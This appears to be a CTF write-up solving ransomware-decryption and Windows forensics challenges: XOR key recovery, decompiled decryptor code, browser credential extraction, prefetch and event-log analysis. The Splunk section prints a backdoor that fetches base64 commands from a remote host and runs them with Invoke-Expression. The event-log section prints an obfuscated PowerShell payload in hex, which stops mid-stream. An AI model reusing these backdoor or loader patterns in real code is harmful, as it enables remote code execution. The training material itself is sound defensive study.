We’ve been hit by the infamous BlackCat Ransomware Group! We need you to help restore the encrypted files. Please help! My favorite rock got encrypted and I’m a wreck right now!

We get a zipped file that contains a ransomware decryption tool. The files contain an executable file that asks for a key to decrypt the files and if an key is provided tries to decrypt the files in the “victim-files” directory.

1
2
3
4
5
6
7
8
├── DecryptMyFiles.exe
├── NOTE.png
└── victim-files
    ├── Bliss_Windows_XP.png.encry
    ├── flag.txt.encry
    ├── Huntress-Labs-Logo-and-Text-Black.png.encry
    ├── my-favorite-rock.jpg.encry
    ├── the-entire-text-of-hamlet.txt.encry

blackcat-start

When dissabmeling the executable, we find out the XOR cipher is being used. XOR is considered a weak cipher because it’s vulnerable to Known-plain-text attacks (KPA), which is basically, when you have two values you can always derive the third value:

  • plain-text x key = encrypted_text
  • encrypted_text x plain-text = key
  • encrypted_text x key = plain-text If the key is smaller than the plaintext, the key is repeated.

We now have to find out if we can find out plaintext that we can use in this attack. We see a bunch of images being encrypted, we know that the magic bytes (file signatures) at the start of a file are always the same. We can find the hex value by extracting them from any PNG file, in this case we use “notes.png” that was also supplied in the compressed archive.

There are a few possibilities to approach this:

Manual Approach

1
2
$ xxd ../NOTE.png| head -1        
00000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452  .PNG........IHDR

We can use this hex value as the plaintext and any encrypted png in cyberchef while decrypting using the XOR cipher.

1
2
encrypted_text x plain-text = key
-> contentOf(Huntress-Labs-Logo-and-Text-Black.png.encry) x 89504e470d0a1a0a = key

blackcat-cyberchef

We find the key is “cosmoboi”, located on the location where the magic bytes would be (.PNG).

When putting in the key in “DecryptMyFiles.exe”, we get the decrypted flag.txt:

1
2
Keeping my flag here so it's safe:
flag{092744b55420033c5eb9d609eac5e823}

Scripted Approach

We notice one of the encrypted images is “Bliss_Windows_XP.png.encry” which is the a famous picture and the background of windows xp. This means we know the plaintext value as we can find the original picture.

We can create a script that performs XOR on two images.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import sys
# Define the paths to your files
plaintext_path = sys.argv[1]
ciphertext_path = sys.argv[2]

# Read the binary data from the files
with open(plaintext_path, 'rb') as plaintext_file:
    plaintext_data = plaintext_file.read()

with open(ciphertext_path, 'rb') as ciphertext_file:
    ciphertext_data = ciphertext_file.read()

# Calculate the key by XORing the plaintext and ciphertext
key = bytes([p ^ c for p, c in zip(plaintext_data, ciphertext_data)])

# Print or save the key
print(f"The XOR key is: {key}")
1
2
$ python3 xor_images.py Bliss_Windows_XP.png Bliss_Windows_XP.png.encry
The XOR key is: bytearray(b'cosmoboicosmoboicosmoboicosmoboicosmoboicosmoboicosmoboicosmoboicosmoboicosmoboicosmoboicosmoboicosmoboicosmoboicosmoboicosmoboicosmoboicosmoboicosmoboicosmoboicosmoboicosmoboicosmoboicosmoboicosmoboicosmoboicosmoboicosmoboicosmoboicosmoboicosmoboicosmoboicosmoboicosmoboicosmoboicosmoboicosmoboicosmoboicosmoboicosmoboicosmoboicosmoboicosmoboicosmoboicosmoboicosmoboicosmoboicosmoboicosmoboicosmoboicosmoboicosmoboicosmoboicosmoboicosmoboicosmoboicosmoboicosmoboicosmoboico...')

BlackCat II

Be advised analyst: BlackCat is back! And they’re mad. Very mad. Help our poor user recover the images that they downloaded while browsing their favorite art site. Quickly!

We’ve received a zipped file that contains a decryption tool for ransomware. Inside the files, we find an executable (Decryptor.exe) that launches a GUI prompting for a decryption key. If a valid key is provided, it attempts to decrypt the files located in the “victim-files” directory.

Directory Structure:

1
2
3
4
5
6
7
8
├── Decryptor.exe
└── victim-files
    ├── A_Sunday_Afternoon_on_the_Island_of_La_Grande_Jatte_by_Georges_Seurat_5773ff06-a03e-401b-8914-6106bc277bfd_large.jpg.encry
    ├── Cafe_Terrace_at_Night_by_Vincent_van_Gogh_large.jpg.encry
    ├── flag.txt.encry
    ├── Guernica_by_Pablo_Picasso_large.jpg.encry
    ├── Impression_Sunrise_by_Claude_Monet_large.jpg.encry
    └── Wanderer_above_the_Sea_of_Fog_by_Caspar_David_Friedrich_large.jpg.encry

blackcat2-start

Upon loading “Decryptor.exe” in DotPeek, we can access the source code, revealing a couple of noteworthy methods.

The AESDecryptFile method stands out, utilizing a hardcoded initialization vector (IV):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
    private static void AESDecryptFile(string inputFile, string outputFile, string key, byte[] iv)
    {
      try
      {
        using (Aes aes = Aes.Create())
        {
          byte[] aesKeyFromPassword = DecryptorUtil.GenerateAesKeyFromPassword(key);
          aes.Key = aesKeyFromPassword;
          aes.IV = iv;
          aes.Mode = CipherMode.CFB;
          aes.Padding = PaddingMode.Zeros;
          using (FileStream fileStream1 = new FileStream(inputFile, FileMode.Open))
          {
            using (FileStream fileStream2 = new FileStream(outputFile, FileMode.Create))
            {
              using (ICryptoTransform decryptor = aes.CreateDecryptor())
              {
                using (CryptoStream cryptoStream = new CryptoStream((Stream) fileStream2, decryptor, CryptoStreamMode.Write))
                {
                  byte[] buffer = new byte[4096];
                  int count;
                  while ((count = fileStream1.Read(buffer, 0, buffer.Length)) > 0)
                    cryptoStream.Write(buffer, 0, count);
                }
              }
            }
          }
        }
      }

However, the most interesting one is DecryptFiles, which utilizes the SHA256 hash of the plaintext file as a decryption key when provided with the filepath`.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
    public static void DecryptFiles(string directoryPath, string decryptionKey)
    {
      string[] files = Directory.GetFiles(directoryPath, "*.encry");
      if (files.Length == 0)
        return;
      string filePath = (string) null;
      foreach (string str in files)
      {
        string key = filePath != null ? DecryptorUtil.CalculateSHA256Hash(filePath) : decryptionKey;
        string outputFile = Path.Combine(directoryPath, Path.GetFileNameWithoutExtension(str) + ".decry");
        DecryptorUtil.AESDecryptFile(str, outputFile, key, DecryptorUtil.hardcodedIV);
        filePath = outputFile;
      }
      Console.WriteLine("[*] Decryption completed.");
    }

    private static string CalculateSHA256Hash(string filePath)
    {
      using (SHA256 shA256 = SHA256.Create())
      {
        using (FileStream inputStream = File.OpenRead(filePath))
          return BitConverter.ToString(shA256.ComputeHash((Stream) inputStream)).Replace("-", "").ToLower();
      }
    }

If we have the plaintext version of those encrypted files, we could decrypt all of our victim-files. We see a bunch of images in the “victim-files” folder. One that sticks out is “A_Sunday_Afternoon_on_the_Island_of_La_Grande_Jatte_by_Georges_Seurat_5773ff06-a03e-401b-8914-6106bc277bfd_large.jpg” as appears to contain a universally unique identifier (UUID).

UUIDs are 128-bit values typically represented as a hexadecimal string with hyphens to separate different parts of the identifier. UUIDs are often used to uniquely identify resources or entities, and they have a very low probability of collision, making them suitable for various applications like database records, filenames, or other scenarios where unique identification is important.

We search these images on google images as stubmle on one website that seem to have them all: atxfinearts.com. Upon saving “A Sunday Afternoon on the Island of La Grande Jatte,” we observe that the downloaded file matches the encrypted file’s name but with a .webp extension instead of .jpg.

We can calculate the SHA256 hash of the downloaded webp image to obtain the decryption key.

Linux

1
2
$ sha256sum A_Sunday_Afternoon_on_the_Island_of_La_Grande_Jatte_by_Georges_Seurat_5773ff06-a03e-401b-8914-6106bc277bfd_large.webp 
80d60bddb3b57a28d7c7259103a514cc05507c7b9cf0c42d709bdc93ffc69191  A_Sunday_Afternoon_on_the_Island_of_La_Grande_Jatte_by_Georges_Seurat_5773ff06-a03e-401b-8914-6106bc277bfd_large.webp

Windows

1
2
3
4
> Get-FileHash -Algorithm SHA256 -Path .\A_Sunday_Afternoon_on_the_Island_of_La_Grande_Jatte_by_Georges_Seurat_5773ff06-a03e-401b-8914-6106bc277bfd_large.webp
Algorithm       Hash
---------       ----
SHA256          80d60bddb3b57a28d7c7259103a514cc05507c7b9cf0c42d709bdc93ffc69191

With this decryption key and the filepath to the victim-files folder, we can input them into the Decryptor executable.

blackcat2-decrypt

Opening “flag.txt.decry” in a text editor reveals the flag:

1
2
3
Keeping another flag here for safe keeping again!

flag{03365961aa6aca589b59c683eecc9659}

Forensics

Dumpster Fire

We found all this data in the dumpster! Can you find anything interesting in here, like any cool passwords or anything? Check it out quick before the foxes get to it!

We get the compressed file “dumpster_fire.tar.xz”, running rep on this archive to find all the files with “password” provides a bunch of results as it is an archive of a whole filesystem.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
$ tar -xvf dumpster_fire.tar.xz --to-stdout | grep -r "password" 
/media/sf_Shared/dumpster_fire/etc/debconf.conf:# World-readable, and accepts everything but passwords.
/media/sf_Shared/dumpster_fire/etc/debconf.conf:Reject-Type: password
/media/sf_Shared/dumpster_fire/etc/debconf.conf:# Not world readable (the default), and accepts only passwords.
/media/sf_Shared/dumpster_fire/etc/debconf.conf:Name: passwords
...
...
...
/media/sf_Shared/dumpster_fire/home/challenge/.mozilla/firefox/bc1m1zlr.default-release/logins.json:{"nextId":2,"logins":[{"id":1,"hostname":"http://localhost:31337","httpRealm":null,"formSubmitURL":"http://localhost:31337","usernameField":"username","passwordField":"password","encryptedUsername":"MDIEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECPs50spbp6eyBAi0aCUHIntLPA==","encryptedPassword":"MFIEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECEcjS+e6bXjFBCgCQ0p/1wCqPUmdgXdZWlohMXan4C3jD0bQgzsweyVEpAjJa+P9eOU4","guid":"{9a363712-620c-499a-bb7d-999b8b2515dc}","encType":1,"timeCreated":1604703907434,"timeLastUsed":1604703907434,"timePasswordChanged":1604703907434,"timesUsed":1}],"potentiallyVulnerablePasswords":[],"dismissedBreachAlertsByLoginGUID":{},"version":3}
grep: /media/sf_Shared/dumpster_fire/home/challenge/.mozilla/firefox/bc1m1zlr.default-release/storage/permanent/chrome/idb/1657114595AmcateirvtiSty.sqlite: binary file matches
grep: /media/sf_Shared/dumpster_fire/home/challenge/.mozilla/firefox/bc1m1zlr.default-release/storage/permanent/chrome/idb/3870112724rsegmnoittet-es.sqlite: binary file matches
grep: /media/sf_Shared/dumpster_fire/lib/x86_64-linux-gnu/libc-2.27.so: binary file matches
grep: /media/sf_Shared/dumpster_fire/lib/x86_64-linux-gnu/libpam.so.0.83.1: binary file matches
grep: /media/sf_Shared/dumpster_fire/lib/x86_64-linux-gnu/security/pam_exec.so: binary file matches
grep: /media/sf_Shared/dumpster_fire/lib/x86_64-linux-gnu/security/pam_extrausers.so: binary file matches
grep: /media/sf_Shared/dumpster_fire/lib/x86_64-linux-gnu/security/pam_ftp.so: binary file matches
grep: /media/sf_Shared/dumpster_fire/lib/x86_64-linux-gnu/security/pam_pwhistory.so: binary file matches
grep: /media/sf_Shared/dumpster_fire/lib/x86_64-linux-gnu/security/pam_stress.so: binary file matches
grep: /media/sf_Shared/dumpster_fire/lib/x86_64-linux-gnu/security/pam_unix.so: binary file matches
grep: /media/sf_Shared/dumpster_fire/lib/x86_64-linux-gnu/security/pam_userdb.so: binary file matches
grep: /media/sf_Shared/dumpster_fire/sbin/pam_extrausers_chkpwd: binary file matches
grep: /media/sf_Shared/dumpster_fire/sbin/pam_extrausers_update: binary file matches
grep: /media/sf_Shared/dumpster_fire/sbin/runuser: binary file matches
/media/sf_Shared/dumpster_fire/sbin/shadowconfig:# turn shadow passwords on or off on a Debian system
/media/sf_Shared/dumpster_fire/sbin/shadowconfig:           echo Shadow passwords are now on.
/media/sf_Shared/dumpster_fire/sbin/shadowconfig:           echo Shadow passwords are now off.
...
...
...

We notice the file “/media/sf_Shared/dumpster_fire/home/challenge/.mozilla/firefox/bc1m1zlr.default-release/logins.json” which contains encrypted credentials for a service running on port “31337” which is often used by backdoors/trojans as it is leetspeak for “elite”.

We can run a Firefox decryption tool that provides us the decrypted values, which contain the flag. We need to execute it in a the “bc1m1zlr.default-release” folder.

1
2
3
4
5
6
7
8
9
$ git clone https://github.com/unode/firefox_decrypt.git 
$ cd firefox_decrypt 
$ python3 firefox_decrypt.py /media/sf_Shared/dumpster_fire/home/challenge/.mozilla/firefox/bc1m1zlr.default-release/           
2023-10-09 16:34:36,953 - WARNING - profile.ini not found in /media/sf_Shared/dumpster_fire/home/challenge/.mozilla/firefox/bc1m1zlr.default-release/
2023-10-09 16:34:36,953 - WARNING - Continuing and assuming '/media/sf_Shared/dumpster_fire/home/challenge/.mozilla/firefox/bc1m1zlr.default-release/' is a profile location

Website:   http://localhost:31337
Username: 'flag'
Password: 'flag{35446041dc161cf5c9c325a3d28af3e3}'

Backdoored Splunk

You’ve probably seen Splunk being used for good, but have you seen it used for evil?

NOTE: the focus of this challenge should be on the downloadable file below. It uses the dynamic service that is started, but you must put the puzzle pieces together to be retrieve the flag. The connection error to the container is part of the challenge.

We get the Splunk source code that contains a backdoor somewhere.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
----Splunk_TA_windows
    -   app.manifest
    -   README.txt
    -   splunkbase.manifest
    -   THIRDPARTY
    -   VERSION
    ----appserver
    -   ----static
    -           appIcon.png
    -           appLogo.png
    ----bin
    -   -   Invoke-MonitoredScript.ps1
    -   -   log.py
    -   -   netsh_address.bat
    -   -   runpowershell.cmd
    -   -   user_account_control_property.py
    -   -   win_installed_apps.bat
    -   -   win_listening_ports.bat
    -   -   win_timesync_configuration.bat
    -   -   win_timesync_status.bat
    -   ----powershell
    -           2012r2-health.ps1
    -           2012r2-repl-stats.ps1
    -           2012r2-siteinfo.ps1
    -           dns-health.ps1
    -           dns-zoneinfo.ps1
    -           generate_windows_update_logs.ps1
    -           nt6-health.ps1
    -           nt6-repl-stat.ps1
    -           nt6-siteinfo.ps1 
    ----default
    -       app.conf
    -       eventtypes.conf
    -       inputs.conf
    -       macros.conf
    -       props.conf
    -       tags.conf
    -       transforms.conf
    -       wmi.conf
    -       workflow_actions.conf
    ----LICENSES
    -       LicenseRef-Splunk-8-2021.txt 
    ----lookups
    -       dns_recordclass_lookup.csv
    -       msad_group_type.csv
    -       msdhcp_signatures.csv
    -       object_category_850.csv
    -       status_850.csv
    -       user_types.csv
    -       vendor_actions.csv
    -       windows_actions.csv
    -       windows_apps.csv
    -       windows_audit_changes_860.csv
    -       windows_dns_action_lookup.csv
    -       windows_dns_query_type_lookup.csv
    -       windows_endpoint_port_transport.csv
    -       windows_endpoint_service_service_name.csv
    -       windows_endpoint_service_service_type.csv
    -       windows_eventtypes.csv
    -       windows_privileges.csv
    -       windows_severities.csv
    -       windows_signatures_860.csv
    -       windows_signatures_substatus_850.csv
    -       windows_start_mode_lookup.csv
    -       windows_timesync_actions.csv
    -       windows_update_statii.csv
    -       windows_wineventlog_change_action_860.csv
    -       windows_wineventlog_change_object_fields_860.csv
    -       wmi_user_account_status.csv
    -       wmi_version_range.csv
    -       xmlsecurity_change_audit_and_account_management_860.csv
    -       xmlsecurity_eventcode_action.csv
    -       xmlsecurity_eventcode_action_multiinput.csv
    -       xmlsecurity_eventcode_errorcode_action.csv
    ----metadata
    -       default.meta
    ----README
    -       transforms.conf.spec
    ----static
            appIcon.png
            appIconAlt.png
            appIconAlt_2x.png
            appIconLg.png
            appIconLg_2x.png
            appIcon_2x.png

We also get access to the server, when we tried to connect we get an error message: {"error":"Missing or invalid Authorization header"}.

We can search thrrough the source code for this header, we find something interesting in the file “nt6-health.ps1”.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#
# Windows Version and Build #
#
$WindowsInfo = Get-Item "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion"
# $PORT below is dynamic to the running service of the `Start` button
$OS = @($html = (Invoke-WebRequest http://chal.ctf.games:$PORT -Headers @{Authorization=("Basic YmFja2Rvb3I6dXNlX3RoaXNfdG9fYXV0aGVudGljYXRlX3dpdGhfdGhlX2RlcGxveWVkX2h0dHBfc2VydmVyCg==")} -UseBasicParsing).Content
if ($html -match '<!--(.*?)-->') {
    $value = $matches[1]
    $command = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($value))
    Invoke-Expression $command
})
$OSSP = $WindowsInfo.GetValue("CSDVersion")
$WinVer = $WindowsInfo.GetValue("CurrentVersion")
$WinBuild = $WindowsInfo.GetValue("CurrentBuildNumber")
$OSVER = "$WinVer ($WinBuild)"v

We find an Authorization header which decodes to backdoor:use_this_to_authenticate_with_the_deployed_http_server. We can send a “GET” request with curl adding the encoded Authorization header we found in the source code.

1
2
3
4
5
6
7
8
9
10
$ curl -X GET "http://chal.ctf.games:30594/" \
     -H "Authorization: Basic YmFja2Rvb3I6dXNlX3RoaXNfdG9fYXV0aGVudGljYXRlX3dpdGhfdGhlX2RlcGxveWVkX2h0dHBfc2VydmVyCg==" \
     -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0" \
     -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8" \
     -H "Accept-Language: en-US,en;q=0.5" \
     -H "Accept-Encoding: gzip, deflate" \
     -H "Connection: close" \
     -H "Upgrade-Insecure-Requests: 1"

<!-- ZWNobyBmbGFnezYwYmIzYmZhZjcwM2UwZmEzNjczMGFiNzBlMTE1YmQ3fQ== -->      

Which is aa base64 string that we can decode too ` echo flag{60bb3bfaf703e0fa36730ab70e115bd7}`

Wimble

“Gretchen, stop trying to make fetch happen! It’s not going to happen!” - Regina George, Mean Girls

We get a 7zip file called “wimble.7z” that contains a file called “fetch”. This file is also an archive, when we extract this archive we notice a bunch of “..pf files and one other file called “fetch.zip”. Extracting this gives us the “fetch” directory.

In this directory there are, again, a bunch of .pf files. When we research this file extension we find out these are “prefetch” files.

When system or user programs are executed on a Windows computer a Prefetch file is created. The purpose of the Prefetch file is to increase the performance of the computer by pre-loading code pages. The Prefetch files record the first and last times an executable has been run, the name and the path it was executed from, how many times it has been executed together with the dates and times for the last 8 executions.

We find a tool called “PECmd” on Eric Zimmerman’s blog that allows us to parse these files and output the results to a csv.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Downloads>PECmd.exe -d "fetch" --csv
...
...
...

---------- Processed prefetch\WWAHOST.EXE-493FDBE7.pf in 1,78199530 seconds ----------
Processed 263 out of 266 files in 37,7906 seconds

Failed files
  prefetch\DLLHOST.EXE-5A1B6910.pf ==> (Invalid signature! Should be 'SCCA')
  prefetch\MOBSYNC.EXE-B307E1CC.pf ==> (Invalid signature! Should be 'SCCA')
  prefetch\SVCHOST.EXE-04F53BBC.pf ==> (Invalid signature! Should be 'SCCA')

CSV output will be saved to .\20231010180054_PECmd_Output.csv
CSV time line output will be saved to .\20231010180054_PECmd_Output_Timeline.csv

When looking at “20231010180054_PECmd_Output.csv” we find a record on row 259 that contains the flag.

17,,,,"\VOLUME{01d89fa75d2a9f57-245d3454}\USERS, \VOLUME{01d89fa75d2a9f57-245d3454}\USERS\LOCAL_ADMIN, \VOLUME{01d89fa75d2a9f57-245d3454}\USERS\LOCAL_ADMIN\DESKTOP, \VOLUME{01d89fa75d2a9f57-245d3454}\WINDOWS, \VOLUME{01d89fa75d2a9f57-245d3454}\WINDOWS\APPPATCH, \VOLUME{01d89fa75d2a9f57-245d3454}\WINDOWS\FONTS, \VOLUME{01d89fa75d2a9f57-245d3454}\WINDOWS\GLOBALIZATION, \VOLUME{01d89fa75d2a9f57-245d3454}\WINDOWS\GLOBALIZATION\SORTING, \VOLUME{01d89fa75d2a9f57-245d3454}\WINDOWS\REGISTRATION, \VOLUME{01d89fa75d2a9f57-245d3454}\WINDOWS\SYSTEM32, \VOLUME{01d89fa75d2a9f57-245d3454}\WINDOWS\SYSTEM32\EN-US, \VOLUME
...
...
...
{01d89fa75d2a9f57-245d3454}\WINDOWS\SYSTEM32\BCRYPT.DLL, \VOLUME{01d89fa75d2a9f57-245d3454}\WINDOWS\SYSTEM32\EN-US\KERNELBASE.DLL.MUI, \VOLUME{01d89fa75d2a9f57-245d3454}\WINDOWS\SYSTEM32\MSXML3R.DLL, \VOLUME{01d89fa75d2a9f57-245d3454}\WINDOWS\SYSTEM32\MSFTEDIT.DLL, \VOLUME{01d89fa75d2a9f57-245d3454}\WINDOWS\SYSTEM32\UIRIBBON.DLL, \VOLUME{01d89fa75d2a9f57-245d3454}\WINDOWS\WINSXS\AMD64_MICROSOFT.WINDOWS.GDIPLUS_6595B64144CCF1DF_1.1.22000.318_NONE_CE876B9E12F802EA\GDIPLUS.DLL, \VOLUME{01d89fa75d2a9f57-245d3454}\WINDOWS\SYSTEM32\TZRES.DLL, \VOLUME{01d89fa75d2a9f57-245d3454}\WINDOWS\SYSTEM32\EN-US\TZRES.DLL.MUI, \VOLUME{01d89fa75d2a9f57-245d3454}\USERS\LOCAL_ADMIN\DESKTOP\FLAG{97F33C9783C21DF85D79D613B0B258BD}, \VOLUME{01d89fa75d2a9f57-245d3454}\WINDOWS\SYSTEM32\MSCTF.DLL, \VOLUME{01d89fa75d2a9f57-245d3454}\WINDOWS\SYSTEM32\C_1255.NLS, \VOLUME{01d89fa75d2a9f57-245d3454}\WINDOWS\FONTS\STATICCACHE.DAT, \VOLUME{01d89fa75d2a9f57-245d3454}\WINDOWS\SYSTEM32\TEXTSHAPING.DLL, \VOLUME{01d89fa75d2a9f57-245d3454}\WINDOWS\SYSTEM32\WINDOWS.GLOBALIZATION.DLL, \VOLUME{01d89fa75d2a9f57-245d3454}\WINDOWS\SYSTEM32\GLOBINPUTHOST.DLL, \VOLUME{01d89fa75d2a9f57-245d3454}\WINDOWS\SYSTEM32\BCP47LANGS.DLL, \VOLUME

FLAG{97F33C9783C21DF85D79D613B0B258BD}

Rogue Inbox

You’ve been asked to audit the Microsoft 365 activity for a recently onboarded as a customer of your MSP.

Your new customer is afraid that Debra was compromised. We received logs exported from Purview… can you figure out what the threat actor did? It might take some clever log-fu!

We get an 200 lines big csv that contains a purview export, when going through it we noticed that there are some “New-InboxRule” created by “flag@ctf.com” that contains the flag values.

1
2
3
4
5
6
7
8
9
10
11
12
{
   "Name":"From",
   "Value":"flag@ctf.com"
},
{
   "Name":"MoveToFolder",
   "Value":"Conversation History"
},
{
   "Name":"Name",
   "Value":"f"
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import pandas as pd
import json
import sys

# Load the CSV file into a DataFrame
df = pd.read_csv(sys.argv[1], sep=",", parse_dates=["CreationDate"])

# Sort the DataFrame by "CreationDate" in ascending order
sorted_df = df.sort_values(by=["CreationDate"], ascending=True)

# Initialize flag
flag = ''

# Iterate through rows and extract values associated with "Name":"Name" for rows with the specified email domain
for index, row in sorted_df.iterrows():
    if 'flag@ctf.com' in row['AuditData']:
        audit_data_json = json.loads(row['AuditData'])
        for param in audit_data_json.get('Parameters', []):
            if param.get('Name') == 'Name':
                flag = f"{flag}{param.get('Value')}"

print('Flag: ', flag)
1
2
$ python3 extract_flag.py purview.csv
Flag:  flag{24c4230fa7d50eef392b2c850f74b0f6}

Opposable Thumbs

We uncovered a database. Perhaps the flag is right between your fingertips!

We get a “thumbcache_256.db” file. The thumbcache. db (Windows Explorer thumbnail cache database) is used by Microsoft Windows Explorer to store thumbnails of picture files. The thumbnail cache database uses two different file types: cache file, which contains the picture data and references to files and directories.

We use a tool called “ThumbCache Viewer” to export the cached files.

thumbviewer

We find the flag in one of the exported images.

thumbflag

Chainsaw Massacre

Ugh! One of our users was trying to install a Texas Chainsaw Massacre video game, and installed malware instead. Our EDR detected a rogue process reading and writing events to the Application event log. Luckily, it killed the process and everything seems fine, but we don’t know what it was doing in the event log.

The EVTX file is attached. Are you able to find anything malicious?

For this hard challenge, we get a file called “Application Logs.evtx”, an EVTX file is an event log generated by various services, processes, and programs on Windows. We can use EvtxECmd from Eric Zimmermans tools to export it to XML, making it easier to process this file.

Upon analyzing the file, we discovered an interesting application installation event:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<Event>
  <System>
    <Provider Name="MsiInstaller" />
    <EventID Qualifiers="0">1337</EventID>
    <Version>0</Version>
    <Level>4</Level>
    <Task>0</Task>
    <Opcode>0</Opcode>
    <Keywords>0x80000000000000</Keywords>
    <TimeCreated SystemTime="2023-10-10 16:02:47.0880233" />
    <EventRecordID>1785</EventRecordID>
    <Correlation />
    <Execution ProcessID="9488" ThreadID="0" />
    <Channel>Application</Channel>
    <Computer>DESKTOP-JU2PNRI</Computer>
    <Security />
  </System>
  <EventData>
    <Data>Windows Installer installed the product. Product Name: The Texas Chain Saw Massacre (1974). Product Version: 8.0.382.5. Product Language: English. Director: Tobe Hooper. Installation success or error status: 0.</Data>
    <Binary>28-28-27-2E-20-28-20-5A-54-36-45-4E-76-3A-43-6F-4D-53-70-45-63-5B-34-2C-32-34-2C-27-2B-27-32-35-5D-2D-6A-6F-69-6E-68-78-36-68-78-36-29-28-20-61-36-54-20-5A-54-36-28-20-53-65-74-2D-76-61-72-69-61-42-6C-65-20-68-78-36-4F-66-53-68-78-36-20-68-78-36-68-78-36-29-61-36-54-2B-20-28-20-5B-53-74-72-69-4E-67-27-2B-27-5D-20-5B-72-45-47-65-58-5D-3A-3A-6D-41-74-63-68-65-53-28-20-61-36-54-20-29-29-34-32-31-5D-52-41-68-43-5B-2C-68-78-36-66-4B-49-68-78-36-65-43-41-4C-50-65-52-2D-20-20-39-33-5D-52-41-68-43-5B-2C-29-38-39-5D-52-41-68-43-5B-2B-38-34-5D-52-41-68-43-5B-2B-39-38-5D-52-41-68-43-5B-28-20-45-63-61-6C-50-65-52-43-2D-20-20-36-33-5D-52-41-68-43-5B-2C-68-78-36-6B-77-6C-68-78-36-45-63-61-6C-50-65-52-43-2D-20-20-29-68-78-36-29-62-68-78-36-2B-68-78-36-30-59-62-30-59-68-78-36-2B-68-78-36-6E-69-4F-6A-2D-5D-35-32-2C-68-78-36-2B-68-78-36-34-32-2C-68-78-36-2B-27-2B-27-68-78-36-34-5B-63-65-68-78-36-2B-68-78-36-70-68-78-36-2B-68-78-36-53-4D-6F-43-3A-56-6E-68-78-36-2B-68-78-36-65-6B-77-6C-20-28-20-68-78-36-2B-68-78-36-2E-20-66-4B-49-20-29-20-28-44-6E-45-4F-54-44-41-68-78-36-2B-68-78-36-65-68-78-36-2B-68-78-36-72-2E-29-7D-20-29-20-68-78-36-2B-27-2B-27-68-78-36-69-69-63-73-41-3A-68-78-36-2B-68-78-36-3A-5D-47-6E-69-64-4F-63-4E-68-78-36-2B-68-78-36-65-2E-68-78-36-2B-68-78-36-54-68-78-36-2B-68-78-36-78-65-74-68-78-36-2B-68-78-36-2E-68-78-36-2B-68-78-36-4D-45-54-73-79-73-5B-68-78-36-2B-68-78-36-20-2C-5F-6B-77-68-78-36-2B-68-27-2B-27-78-36-6C-20-28-52-45-44-68-78-36-2B-68-78-36-41-65-52-6D-61-65-72-74-53-2E-6F-27-2B-27-49-68-78-36-2B-68-78-36-20-74-68-78-36-2B-68-78-36-43-68-78-36-27-2B-27-2B-68-78-36-65-6A-62-4F-2D-57-68-27-2B-27-78-36-2B-68-78-36-45-6E-20-7B-20-48-43-61-45-52-6F-46-68-78-36-2B-68-78-36-66-4B-49-29-20-73-53-45-52-70-4D-27-2B-27-6F-43-65-68-78-36-2B-68-78-27-2B-27-36-64-68-78-36-2B-68-78-36-3A-3A-68-78-36-2B-68-78-36-5D-27-2B-27-65-64-4F-4D-68-78-36-2B-68-78-36-27-2B-27-6E-4F-69-73-53-45-72-50-4D-6F-63-68-78-36-2B-68-78-36-2E-4E-6F-49-53-53-65-72-68-78-36-2B-68-78-36-70-4D-4F-63-2E-6F-69-5B-2C-20-29-20-62-27-2B-27-30-59-68-78-36-2B-68-78-36-3D-3D-77-44-79-44-34-70-2B-53-27-2B-27-73-2F-6C-2F-68-78-36-2B-68-78-36-69-2B-35-47-74-61-74-4A-4B-79-66-4E-6A-4F-68-78-36-2B-27-2B-27-68-78-36-33-68-78-36-2B-68-78-36-33-68-78-36-2B-68-78-36-34-56-68-78-36-2B-68-78-36-76-6A-36-77-52-79-52-58-65-31-78-79-31-70-42-30-68-78-36-2B-68-78-36-41-58-56-4C-4D-67-4F-77-59-68-78-36-2B-68-78-36-2F-2F-68-78-36-2B-68-78-36-57-6F-6D-68-78-36-2B-68-78-36-7A-27-2B-27-7A-55-68-78-36-2B-68-78-36-74-42-68-78-36-2B-68-78-36-73-78-2F-69-65-30-72-56-5A-37-68-78-36-2B-68-78-36-78-63-4C-69-6F-77-57-4D-47-45-56-6A-6B-37-4A-4D-66-78-56-6D-75-73-7A-68-78-36-2B-68-78-36-4F-54-33-58-6B-4B-75-39-54-76-4F-73-72-68-78-36-2B-68-78-36-62-62-68-78-36-2B-68-78-36-63-62-68-78-36-2B-68-78-36-47-79-5A-36-63-2F-67-59-68-78-36-2B-68-78-36-4E-70-69-6C-68-78-36-2B-68-78-36-42-4B-37-78-35-68-78-36-2B-68-78-36-50-6C-63-68-78-36-2B-68-78-36-38-71-55-79-4F-68-42-59-68-78-36-2B-68-78-36-56-65-63-6A-4E-4C-57-34-32-59-6A-4D-38-53-77-74-41-68-78-36-2B-68-78-36-61-52-38-49-68-78-36-2B-68-78-36-4F-68-78-36-2B-68-78-36-77-68-78-36-2B-68-78-36-6D-68-78-36-2B-68-78-36-36-68-78-36-2B-68-78-36-55-77-57-4E-6D-57-7A-43-77-27-2B-27-68-78-36-2B-68-78-36-56-72-53-68-78-36-2B-68-78-36-72-37-49-68-78-36-2B-68-78-36-54-32-68-78-36-2B-68-78-36-6B-36-4D-6A-31-4D